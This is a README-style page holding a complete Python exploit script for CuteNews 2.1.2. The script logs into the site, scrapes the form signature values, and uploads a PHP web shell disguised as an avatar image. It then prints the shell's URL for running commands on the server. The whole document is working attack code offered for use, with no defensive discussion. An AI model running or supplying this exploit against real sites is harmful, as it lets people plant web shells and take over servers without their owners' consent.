README.md
Rendering markdown...
import re
import sys
import argparse
import requests
import random
class Exploit:
def __init__(self, url, username, password):
self.url = url
self.username = username
self.password = password
self.filename = f"{random.randrange(9999)}.php"
self.session = requests.Session()
def run(self):
try:
self.validate_version()
self.login()
except Exception as error:
print(f"[!] {str(error)}")
sys.exit(1)
def validate_version(self):
print("[*] Checking version...")
response = self.session.get(self.url)
matches = re.findall('Powered by <\w.+>CuteNews ([\d.]+)', response.text)
if len(matches) != 1 or matches[0] != '2.1.2':
raise Exception("CuteNews version 2.1.2 required")
print("[+] CuteNews version 2.1.2 detected!")
def login(self):
print(f"[*] Logging in with credentials {self.username}:{self.password}")
data = {
'action': 'dologin',
'username': self.username,
'password': self.password
}
response = self.session.post(self.url, data=data)
if 'Please Login' in response.text:
raise Exception('Failed to log in, are the credentials correct?')
else:
print("[+] Login successful!")
self.upload_file()
def upload_file(self):
key, dsi = self.get_signature_values()
print("[*] Uploading the RCE shell...")
data = {
'mod': (None, 'main'),
'opt': (None, 'personal'),
'__signature_key': (None, key),
'__signature_dsi': (None, dsi),
'avatar_file': (self.filename, open('shell.php', 'r').read())
}
response = self.session.post(self.url, files=data)
if response.status_code != 200:
raise Exception('An error occurred uploading our shell.')
print("[+] Shell uploaded successfully!")
print(f"[+] Path: /uploads/avatar_{self.username}_{self.filename}?cmd=<cmd>")
print("[*] Exploit complete!")
def get_signature_values(self):
url = f"{self.url}?mod=main&opt=personal"
print("[*] Retrieving required __signature_key and __signature_dsi values")
response = self.session.get(url)
matches = re.findall('name="__signature_key" value="(.*?)".*name="__signature_dsi" value="(.*?)"',
response.text)
if len(matches) != 1:
raise Exception('Failed to find the required values.')
key = matches[0][0]
dsi = matches[0][1]
print(f"[+] __signature_key = {key}")
print(f"[+] __signature_dsi = {dsi}")
return key, dsi
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Exploits CuteNews 2.1.2 via poor file upload checks used when'
'uploading an avatar image leading to RCE.')
parser.add_argument('url', help='The base/login URL of CuteNews (e.g. http://localhost/CuteNews/index.php)')
parser.add_argument('username', help='The username for an existing CuteNews account', default=None)
parser.add_argument('password', help='The password for the existing CuteNews account', default=None)
args = parser.parse_args()
exploit = Exploit(args.url, args.username, args.password)
exploit.run()